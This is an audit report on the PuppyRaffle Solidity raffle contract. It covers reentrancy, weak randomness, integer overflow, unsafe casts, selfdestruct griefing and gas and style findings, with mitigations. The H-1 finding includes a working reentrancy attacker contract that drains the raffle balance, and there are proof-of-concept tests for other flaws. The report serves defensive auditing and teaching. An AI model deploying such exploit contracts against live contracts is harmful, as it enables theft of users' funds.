Contents

PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

August 16, 2025

PuppyRaffle Audit Report

FrankShawn

2025-08-16

Prepared by: Cyfrin Lead Auditors: - FrankShawn

Table of Contents

    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.
    * [M-3] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged State Variable should be declared constant or immutable.
    * [G-2] Storage Array Length not Cached
  - Informational/Non-Crits
    * [I-1] Unspecific Solidity Pragma
    * [I-2] Using an outdated version of Solidity is not recommended.
    * [I-3] Address State Variable Set Without Checks
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
    * [I-5] Literal Instead of Constant, Use of `magic` number is discouraged.
    * [I-6] State variable changes are missing events.
    * [I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf
- In Scope: ## Scope

```
./src/
---- PuppyRaffle.sol
```

Roles

- `Owner`` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the`changeFeeAddress‘ function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
GAS	2
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in `Puppyraffle:refund` allows entrant to drain raffle balance.

Description: In the `Puppyraffle:refund` function, Changing state after an external call can lead to re-entrancy attacks.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 115

  State is changed at: `players[playerIndex] = address(0)`

```
1           payable(msg.sender).sendValue(entranceFee);
```

A player(**malicious contract**) who has entered the raffle could have a `fallback/receive` function that calls the `Puppyraffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enter the raffle.
2. Attacker set up a contract with a `fallback` function that calls `PuppleRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppleRaffle:refund` from their attack contract, draning the raffle balance.

Proof of Code:

Code

Place the following into `PuppleRaffleTest.t.sol`

```
    function test_ReenTrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReenTrancyAttacker attackerContract = new ReenTrancyAttacker(
            puppyRaffle);

        address attackerUser = makeAddr("attackerUser");
        vm.deal(attackerUser, entranceFee);

        uint256 startAttackerContractBalance = address(attackerContract
            ).balance;
        uint256 startPuppyRaffleBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackerUser);
        attackerContract.attack{value: entranceFee}();

        console2.log("start AttackerContract Balance : ",
            startAttackerContractBalance);
        console2.log("start PuppyRaffle Balance : ",
            startPuppyRaffleBalance);

        console2.log("ending AttackerContract Balance : ", address(
            attackerContract).balance);
        console2.log("ending PuppyRaffle Balance : ", address(
            puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReenTrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
```

```
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = _puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          require(msg.value == entranceFee, "Must send entrance fee");
13          address[] memory players = new address[](1);
14          players[0] = address(this);
15          // Enter the raffle
16          puppyRaffle.enterRaffle{value: entranceFee}(players);
17          // Attempt to refund
18          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
19          puppyRaffle.refund(attackerIndex);
20      }
21
22      function _stealMoney() internal {
23          // This function will be called by the fallback or receive
                function
24          // to keep trying to refund until the contract balance is zero
25          if (address(puppyRaffle).balance >= entranceFee) {
26              puppyRaffle.refund(attackerIndex);
27          }
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33
34      fallback() external payable {
35          _stealMoney();
36      }
37  }
```

Recommended Mitigation: Follow the checks-effects-interactions pattern to avoid this issue. We should have the `PuppleRaffle:refund` function update the `players` array before making the external call. Addtionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
```

```
9  -         emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hasing `msg.sender`, `block.timstamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselvles.

Note: This additionlly means users could front-run this `selectWinner` function and call `refund` if they see they are not the winner.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 168

```
1               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
```

- Found in src/PuppyRaffle.sol Line: 199

```
1               uint256 rarity = uint256(keccak256(abi.encodePacked(
                    msg.sender, block.difficulty))) % 100;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` losss fees.

Description: In solidity versions prior to `0.8.0` integers were subeject to interger overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We the have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you colud use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Proof of Code:

Add the folowing to `PuppyRaffleTest.t.sol`

Code

```
    function testTotalFeesOverFlow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint64 startTotalFees = puppyRaffle.totalFees(); // type(uint64
            ).max = 18,446,744,073,709,551,615
```

```
        uint256 expectedTotalFees = ((entranceFee * 4) * 20) / 100;
        assertEq(startTotalFees, expectedTotalFees); //
            0.800000000000000000

        uint256 playersCount = 89;
        address[] memory players = new address[](playersCount);
        for(uint i =0; i < playersCount; i++) {
            players[i] = address(uint160(i + 1)); // start from address
                (1) to address(101)
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersCount}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner(); // add new Fees = ((entranceFee *
            89) * 20) / 100 = 17.8 ether

        uint endTotalFees = puppyRaffle.totalFees(); //
            expectedTotalFees = ((entranceFee * 93) * 20) / 100 = 18.6
            ether
        assertLt(endTotalFees, startTotalFees); // overflow
            endTotalFees = 0.153255926290448384 ether

        // we are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possiable mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;

- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

2. You could also use the `SafeMath` library of Openzeppin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -       require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medim

[M-1] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
              );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) % players.
              length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>      totalFees = totalFees + uint64(fee);
10        players = new address[](0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
```

```
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
9         uint256 winnerIndex =
10            uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
11        address winner = players[winnerIndex];
12        uint256 totalAmountCollected = players.length * entranceFee;
13        uint256 prizePool = (totalAmountCollected * 80) / 100;
14        uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

[M-3] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according the natspec, it will also return 0 if the player is not in the array.

```
1   /// @return the index of the player in the array, if they are not
        active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` return 0 3. User thinks they are have not entered correctly, due to the function documentation.

Recommended Mitigation: The easiest recommedation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function return -1 if the player is not active.

You can also return the player index + 1, and return 0 if the player is not in the array.

Gas

[G-1] Unchanged State Variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 28

```
1       uint256 public raffleDuration;
```

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 41

```
1       string private commonImageUri = "ipfs://
           QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

- Found in src/PuppyRaffle.sol Line: 47

```
1       string private rareImageUri = "ipfs://
           QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
```

- Found in src/PuppyRaffle.sol Line: 53

```
1       string private legendaryImageUri = "ipfs://
           QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[G-2] Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 105

```
1           for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 106

```
1               for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 136

```
1           for (uint256 i = 0; i < players.length; i++) {
```

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playerLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Informational/Non-Crits

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 232

```
1         feeAddress = newFeeAddress;
```

Please see slither documentation for more information.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean, and follow CEI(Checks, Effects, Interactions)

```
1 -       (bool success,) = winner.call{value: prizePool}("");
2         require(success, "PuppyRaffle: Failed to send prize pool to
             winner");
3         _safeMint(winner, tokenId);
4 +       (bool success,) = winner.call{value: prizePool}("");
```

[I-5] Literal Instead of Constant, Use of `magic` number is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 167

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1         uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 185

```
1         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.
             sender, block.difficulty))) % 100;
```

Define and use `constant` variables instead of using literals. If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

```
1 +       uint256 public constant FEE_PERCENTAGE = 20; // 20% fee
2 +       uint256 public constant PRIZE_POOL_PERCENTAGE = 80; // 80%
3 +       uint256 public constant POOL_PERCENTAGE = 100; // 100% of the
      total amount collected
```

```
4 -       uint256 prizePool = (totalAmountCollected * 80) / 100;
5 -       uint256 fee = (totalAmountCollected * 20) / 100;
6 -       uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
      block.difficulty))) % 100;
7 +       uint256 prizePool = (totalAmountCollected *
     PRIZE_POOL_PERCENTAGE) / POOL_PERCENTAGE;
8 +       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
     POOL_PERCENTAGE;
9 +       uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
      block.difficulty))) % POOL_PERCENTAGE;
```

[I-6] State variable changes are missing events.

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 241

```
1      function withdrawFees() external {
```

- Found in src/PuppyRaffle.sol Line: 217

```
1        totalFees = totalFees + uint64(fee);
2
3        delete players;
4        raffleStartTime = block.timestamp;
5        previousWinner = winner;
```

[I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -    function _isActivePlayer() internal view returns (bool) {
2 -        for (uint256 i = 0; i < players.length; i++) {
3 -            if (players[i] == msg.sender) {
4 -                return true;
5 -            }
6 -        }
7 -        return false;
8 -    }
```